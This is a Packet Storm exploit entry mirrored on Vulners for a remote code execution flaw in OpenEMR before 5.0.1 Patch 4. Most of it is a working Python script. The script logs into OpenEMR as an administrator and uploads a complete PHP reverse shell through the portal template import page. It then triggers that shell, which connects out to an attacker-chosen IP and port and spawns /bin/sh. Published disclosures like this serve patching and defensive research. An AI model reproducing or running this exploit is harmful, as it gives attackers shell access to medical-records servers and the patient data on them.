Lucene search
K

OpenEMR Remote Code Execution

🗓️ 26 May 2020 00:00:00Reported by Musyoka IanType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 226 Views

OpenEMR 5.0.1 - Remote Code Execution vulnerability disclosed. An attacker can upload and execute malicious PHP code, leading to RCE on vulnerable OpenEMR versions

Code
`# Title: OpenEMR 5.0.1 - Remote Code Execution  
# Exploit Author: Musyoka Ian  
# Date: 2020-05-25  
# Title: OpenEMR < 5.0.1 - Remote Code Execution  
# Vendor Homepage: https://www.open-emr.org/  
# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz  
# Dockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile   
# Version: < 5.0.1 (Patch 4)  
# Tested on: Ubuntu LAMP, OpenEMR Version 5.0.1.3  
# References: https://medium.com/@musyokaian/openemr-version-5-0-1-remote-code-execution-vulnerability-2f8fd8644a69  
  
# openemr_exploit.py  
  
#!/usr/bin/env python2  
# -*- coding: utf-8 -*-  
  
import requests  
import time  
  
auth = "[+] Authentication with credentials provided please be patient"  
upload = "[+] Uploading a payload it will take a minute"  
netcat = "[+] You should be getting a shell"  
s = requests.Session()  
payload = {'site': 'default', 'mode' : 'save', 'docid' : 'shell.php', 'content' : """<?php  
  
set_time_limit (0);  
$VERSION = "1.0";  
$ip = '127.0.0.1'; # CHANGE THIS  
$port = 9001; # CHANGE THIS  
$chunk_size = 1400;  
$write_a = null;  
$error_a = null;  
$shell = 'uname -a; w; id; /bin/sh -i';  
$daemon = 0;  
$debug = 0;  
  
//  
// Daemonise ourself if possible to avoid zombies later  
//  
  
// pcntl_fork is hardly ever available, but will allow us to daemonise  
// our php process and avoid zombies. Worth a try...  
if (function_exists('pcntl_fork')) {  
// Fork and have the parent process exit  
$pid = pcntl_fork();  
  
if ($pid == -1) {  
printit("ERROR: Can't fork");  
exit(1);  
}  
  
if ($pid) {  
exit(0); // Parent exits  
}  
  
// Make the current process a session leader  
// Will only succeed if we forked  
if (posix_setsid() == -1) {  
printit("Error: Can't setsid()");  
exit(1);  
}  
  
$daemon = 1;  
} else {  
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");  
}  
  
// Change to a safe directory  
chdir("/");  
  
// Remove any umask we inherited  
umask(0);  
  
//  
// Do the reverse shell...  
//  
  
// Open reverse connection  
$sock = fsockopen($ip, $port, $errno, $errstr, 30);  
if (!$sock) {  
printit("$errstr ($errno)");  
exit(1);  
}  
  
// Spawn shell process  
$descriptorspec = array(  
0 => array("pipe", "r"), // stdin is a pipe that the child will read from  
1 => array("pipe", "w"), // stdout is a pipe that the child will write to  
2 => array("pipe", "w") // stderr is a pipe that the child will write to  
);  
  
$process = proc_open($shell, $descriptorspec, $pipes);  
  
if (!is_resource($process)) {  
printit("ERROR: Can't spawn shell");  
exit(1);  
}  
  
// Set everything to non-blocking  
// Reason: Occsionally reads will block, even though stream_select tells us they won't  
stream_set_blocking($pipes[0], 0);  
stream_set_blocking($pipes[1], 0);  
stream_set_blocking($pipes[2], 0);  
stream_set_blocking($sock, 0);  
  
printit("Successfully opened reverse shell to $ip:$port");  
  
while (1) {  
// Check for end of TCP connection  
if (feof($sock)) {  
printit("ERROR: Shell connection terminated");  
break;  
}  
  
// Check for end of STDOUT  
if (feof($pipes[1])) {  
printit("ERROR: Shell process terminated");  
break;  
}  
  
// Wait until a command is end down $sock, or some  
// command output is available on STDOUT or STDERR  
$read_a = array($sock, $pipes[1], $pipes[2]);  
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);  
  
// If we can read from the TCP socket, send  
// data to process's STDIN  
if (in_array($sock, $read_a)) {  
if ($debug) printit("SOCK READ");  
$input = fread($sock, $chunk_size);  
if ($debug) printit("SOCK: $input");  
fwrite($pipes[0], $input);  
}  
  
// If we can read from the process's STDOUT  
// send data down tcp connection  
if (in_array($pipes[1], $read_a)) {  
if ($debug) printit("STDOUT READ");  
$input = fread($pipes[1], $chunk_size);  
if ($debug) printit("STDOUT: $input");  
fwrite($sock, $input);  
}  
  
// If we can read from the process's STDERR  
// send data down tcp connection  
if (in_array($pipes[2], $read_a)) {  
if ($debug) printit("STDERR READ");  
$input = fread($pipes[2], $chunk_size);  
if ($debug) printit("STDERR: $input");  
fwrite($sock, $input);  
}  
}  
  
fclose($sock);  
fclose($pipes[0]);  
fclose($pipes[1]);  
fclose($pipes[2]);  
proc_close($process);  
  
// Like print, but does nothing if we've daemonised ourself  
// (I can't figure out how to redirect STDOUT like a proper daemon)  
function printit ($string) {  
if (!$daemon) {  
print "$string\n";  
}  
}  
  
?> """}  
print (auth)  
url = "http://localhost/openemr/interface/main/main_screen.php?auth=login&site=default"  
data= {  
'new_login_session_management' : '1',  
'authProvider' : 'Default',  
'authUser' : 'admin', # change this to the the appropriate username  
'clearPass' : 'password123', # change this to the appropriate password   
'languageChoice' : '1',  
}  
  
response = s.post(url, data=data,).text  
time.sleep(2)  
print (upload)  
time.sleep(2)  
resp = s.post("http://localhost/openemr/portal/import_template.php?site=default", data = payload)  
time.sleep(2)  
print (netcat)  
rev_shell = s.get("http://localhost/openemr/portal/shell.php")  
print (rev_shell.text)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation